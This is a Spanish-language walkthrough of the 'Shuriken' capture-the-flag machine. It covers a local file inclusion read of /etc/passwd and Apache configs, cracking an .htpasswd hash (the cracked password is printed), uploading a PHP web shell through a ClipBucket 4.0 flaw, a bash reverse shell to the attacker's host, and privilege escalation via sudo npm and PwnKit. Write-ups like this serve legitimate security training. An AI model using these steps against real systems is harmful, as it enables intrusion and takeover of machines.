Esa es la primera máquina que desarrollé. Intenté hacer uso de técnicas más realistas y luego incluirlas en una sola máquina. Tenga en cuenta que sigue siendo solo un CTF. Se supone que es bastante fácil. ¿Puedes aprovechar las malas configuraciones realizadas por The Shuriken Company? Nos vemos en la raíz.
Con la herramienta Netdiscover realizaré el reconocimiento de nuestra máquina objetivo.Nuestra máquina objetivo tiene la dirección IP 192.168.50.153. Ahora con la herramienta Nmap realizaré un escaneo para averiguar los puertos abiertos de los servicios que se están ejecutando en la máquina objetivo.
Como se muestra en la imagen anterior, en la máquina objetivo hay tan solo un puerto abierto que está ejecutando la aplicación apache httpd 2.4.29. Ahora lo que haré es cargar la página web en mi navegador web.
Como se muestra en la imagen se despliega una página web de una compañía llamada Shuriken. Revisando los diferentes links no encontré nada interesante. Por lo tanto, lo que haré es con la herramienta Gobuster enumeraré directorio del servicio web.
Aquí el directorio que llamo mi atención es el directorio /secret, cargaré este directorio en mi navegador web para analizar que contiene.
Al cargar el directorio /secret en el navegador, se enumera los archivos que contiene este directorio. En este directorio hay un solo archivo con extensión .png, cargaré este archivo en el navegador.
Se nos muestra una imagen con una pista “javascript”, esto sugiere que debemos analizar el directorio /js descubierto por la herramienta Gobuster.
El directorio /js hay dos archivos con extensión .js. Por lo tanto, lo que haré será analizarlos y ver si hay algo interesante en estos archivos. Para analizar estos archivos utilizaré la herramienta online JS-Beatify
Como se ve en las imágenes anterior enumeré dos URL. Lo que haré ahora es agregar estas URL en mi archivo /etc/hosts para poder enrutar estas URL.
Una vez nuestro archivo /etc/hosts está configurado, revisare si la URL http://shuriken.local/index.php?referer es vulnerable a la vulnerabilidad Local File Inclusion (LFI).
Al realizar la prueba que consiste en pasarle al parámetro ?referer=/etc/passwd he enviar la solicitud al servidor, este no despliega el archivo passwd en ninguna parte de la página web, pero si lo hace en el código fuente como se muestra en la siguiente imagen.
Ahora sabemos que la página web es vulnerable a LFI, también sabemos que el servidor web tiene configurado hosts virtuales. Entonces exploraré estos archivos para enumerar otros datos de interés.
Como se muestra en la imagen hay tres host virtuales configurado en la máquina objetivo. Sabemos que los host shuriken y shuriken.local apuntan a la misma página web.
Y el host virtual broadcast.shuriken.local apunta a una página web que está protegida por autenticación HTTP.
Para implementar la autenticación HTTP en Apache para proteger directorios se debe hacer uso de los archivos .htaccess y .htpasswd. Para mayor información visite la siguiente documentación de Mozilla Developer.
En el archivo 000-default.conf se encuentra la configuración del host virtual broadcast.shuriken.local y en él se encuentra la ruta del archivo .htpasswd donde se configuran las credenciales de acceso.
Como se muestra en la imagen anterior se encuentra las credenciales de usuario, donde developers es el nombre de usuario y la password es $apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0. Esta password esta hashea en formato MD5(APR), el algoritmo MD5(APR) es un algoritmo específico de Apache para cifrar datos.
Con la herramienta John the Ripper descifraré la contraseña. Primero crearé un fichero llamado password.txt como se muestra en la siguiente imagen.
Como se muestra en la imagen la contraseña para el usuario developers es 9972761drmfsls.
Al ingresar al sitio web luego de usar las credenciales antes mencionada se muestra lo siguiente.
ClickBucket es una aplicación para compartir videos (clon de Youtube) de código abierto según se explica en el repositorio Github. La aplicación esta escrita en el lenguague PHP y base de datos MySQL.
Con la herramienta searchsploit buscaré alguna vulnerabilidad conocida para esta aplicación.
Como se muestra en la imagen anterior existen varias vulnerabilidades conocidas para diferentes versiones del software.
Entonces debemos averiguar la versión del software que se está ejecutando en la máquina objetivo.
Como se muestra en la imagen anterior la versión que se está ejecutando es la versión 4.0 de ClipBucket. Probaré el siguientes exploit.
Para explorar la información del exploit ejecutaré el siguiente comando “searchsploit -x php/webapps/44250.txt”, se nos mostrará la siguiente información.
En el archivo anterior se nos muestran varias pruebas de conceptos, en mi caso utilizaré la siguiente.
Nos indican que podemos subir un archivo arbitrario no autenticado, es decir, podemos subir cualquier tipo de archivo sin iniciar sesión en la aplicación. No confundir con la autenticación que se debe realizar para ingresar al directorio de la aplicación que está protegida por autenticación HTTP.
Antes de ejecutar la carga de archivo en el servidor, con la herramienta Gobuster realizaré enumeración de directorios.
Al parecer los archivos se guardan en el directorio /files, esto es importante saber, para saber dónde llamar el archivo que cargamos.Ahora crearé un archivo .php con el siguiente código para ejecutar comandos en el servidor web.
Luego, ejecutaré el comando curl que se menciona en la explicación de ejecución del exploit anteriormente.
Nuestro archivo se guarda en el directorio /actions/CB_BEATS_UPLOAD_DIR no en el directorio /files que mencioné anteriormente.
Por lo tanto, nuestra URL ahora para ejecutar comandos será la siguiente. http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/170485415813e67b.php
Ahora queda tratar de ganar acceso la máquina objetivo. para esto dejaré a la escucha el puerto 443 en mi máquina atacante con la herramienta Netcat.
Y en la máquina objetivo ejecutaré la siguiente solicitud al servidor. http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/170485415813e67b.php?cmd=bash%20-c%20%22bash%20-i%3E%26%20/dev/tcp/192.168.50.35/443%200%3E%261%22, la solicitud está URL Encodeada la petición "bash -c "bash -i>& /dev/tcp/192.168.50.35/443 0>&1" con lo anterior esto debería dar acceso a la máquina objetivo.
Obtuvimos acceso a la máquina objetivo, encontré un directorio interesante llamado server-managment.
Ahora ejecutaré los comandos id, sudo -l para ver los permisos de usurio www-data.
El usuario www-data puede ejecutar /usr/bin/npm sin proporcionar contraseña, como se muestra en la siguiente imagen.
Por lo tanto, podemos buscar la opción de ejecutar algún comando a través de npm para obtener acceso al directorio. Para esto me apoyare del sitio web gtfobins.github.io y buscar algún comando que podamos ejecutar.
Como se muestra en la imagen nos da error al ejecutar la instrucción sudo -u server-management npm -C $TF --unsafe-perm i, esto se debe a los permisos de ejecución. Para esto demos ejecutar los siguientes comandos.
Ahora debemos ejecutar nuevamente la instrucción sudo -u server-management npm -C $TF --unsafe-perm i, si todo sale bien obtendremos shell.Con lo antenrior escalamos privilegio y tuvimos acceso al directorio del usuario, donde encontramos nuestra primera flag.
Ahora hay que elevar privilegios como usuario root para encontrar nuestra flag root. Para eso ejecutare el comando find para encontrar archivos con permisos root.Existe una vulnerabilidad llamada PwnKit CVE-2021-4034, que hace referencia a la utilidad de Linux pkexec en las distribuciones Ubuntu, Debian, Fedora y CentOS.
Para mayor información sobre está vulnerabilidad lean los siguientes links:
Buscando en internet encontré el siguiente script en Python para elevar privilegio a través de la vulnerabilidad pkexec.














































Comentarios
Publicar un comentario